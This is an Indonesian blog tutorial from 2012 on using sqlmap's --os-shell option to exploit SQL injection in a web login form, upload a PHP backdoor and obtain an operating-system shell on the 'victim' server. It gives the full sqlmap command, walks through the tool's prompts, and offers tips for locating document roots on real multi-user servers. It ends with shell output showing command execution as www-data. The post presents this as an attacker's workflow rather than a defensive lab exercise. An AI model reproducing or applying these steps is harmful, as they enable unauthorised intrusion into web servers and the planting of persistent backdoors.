Senin, 18 Juni 2012

Spawn shell using Sqlmap


Saya berharap pada tutorial kali ini, pembaca mungkin akan menyadari apa yang membuat SQLmap lebih baik daripada alat SQL Injection yang lainnya. Karena tool ini benar-benar melakukan hal-hal yang sulit dijelaskan bagaimana cara kerjanya.

Metode Spawn Shell
Attacker -> SQLmap -> Upload [Shell Code] -> Victim
Alur di atas menjelaskan bahwa attacker menggunakan SQLmap untuk melakukan SQL injeksi, dan mengupload Shell Code pada korban. Hebatnya, anda tidak perlu malakukan log ini ke situs ini untuk mengupload shell code milik anda. Kemudian:
Attacker -> SQLmap -> Shell Code [Arbitrary Command] -> OS Shell
Sementara alur diatas menjelaskan bahwa attacker menggunakan SQLmap untuk menghubungkam dirinya ke backdoor yang telah ter-upload ke korban, dan mengirimkan perintah shell yang kemudian dieksekusi oleh OS Shell (Command Prompt pada Windows, atau Bash pada UNIX).

Shell Code atau backdoor yang dimiliki oleh SQLmap sendiri memiliki banyak jenis. Diantaranya ASP, ASPX, PHP, dan JSP. Jenis ini disesuaikan pada engine yang digunakan oleh korban. Pada tutorial kali ini, saya akan menggunakan jenis PHP.

Ketahui celah SQL Injection pada korban
Untuk melakukan spawn shell, anda hanya perlu menambahkan parameter --os-shell pada perintah sqlmap.


[dede@fedora ~]# sqlmap -u "http://localhost/wp-login.php" --data="POSTDATA=myusername=admin&mypassword=admin&Submit=Login" --drop-set-cookie --ignore-proxy --os-shell
Opsi --os-shell ini bertujuan untuk mengupload arbitrary file ke korban, dan membuka shell baru.

Ketahui Engine yang digunakan oleh korban
Kebanyakan SQL injection, menyerang situs yang memiliki basic PHP, dengan database MySQL. Namun tidak berarti selalu PHP yang memiliki kelemahan. Bahwa pemrograman web seperti ASP, ASPX, dan JSP juga dapat melakukan koneksi ke database MySQL. Artinya bahasa pemrograman ini juga memiliki kelemahan (tidak ada yang sempurna). Setelah mengeksekusi perintah pada tahap satu, maka anda diharuskan untuk menentukan bahasa pemrograman web apa yang digunakan oleh korban.
  • Output:
    [17:0610] [INFO] trying to upload the file stager
    which web application language does the web server support?

    [1] ASP
    [2 ]ASPX
    [3] PHP (default)
    [4] JSP
Karena kali ini korban saya menggunakan web aplikasi berbahasa PHP, maka saya pilih nomer 3. Tekan enter, kemudian anda diharuskan untuk menentukan, kemana file ini akan diupload?
  •  Output :
    please provide the web server document root [/var/www/]:
Pada pilihan ini, saya masukan /var/www/. Sedikit catatan untuk pembaca, dalam kenyataannya, anda akan berhadapan dengan web server dengan banyak user, sehingga document root tidak mungkin berada pada folder /var/www/. Beberapa web server, mengatur document root nya pada diretory /home/, atau /var/www/hosts, atau /var/www/vhosts, atau /var/www/[victim]. Setelah menentukan document root, tekan enter. Pada tahap selanjutnya, anda bisa membiarkan value atau jawaban kosong, cukup tekan enter sampai proses upload selesai. Jika berhasil, maka anda akan mendapat output seperti ini:
  •  Output :
    [14:46:08] [INFO] the backdoor has probably been successfully uploaded on '/var/www' - http://localhost:80/dede-shell.php[14:46:08] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTERos-shell>
Game Over
Jika berhasil, maka anda hanya perlu memasukan perintah ke dalam os-shell interpreter. Dan menjawab "Y" pada setiap pertanyaan yang muncul.
  •  Output :
    os-shell> iddo you want to retrieve the command standard output? [Y/n/a] Ycommand standard output:    'uid=33(www-data) gid=33(www-data) groups=33(www-data)'

semoga bermanfaat :)

0 komentar:

Posting Komentar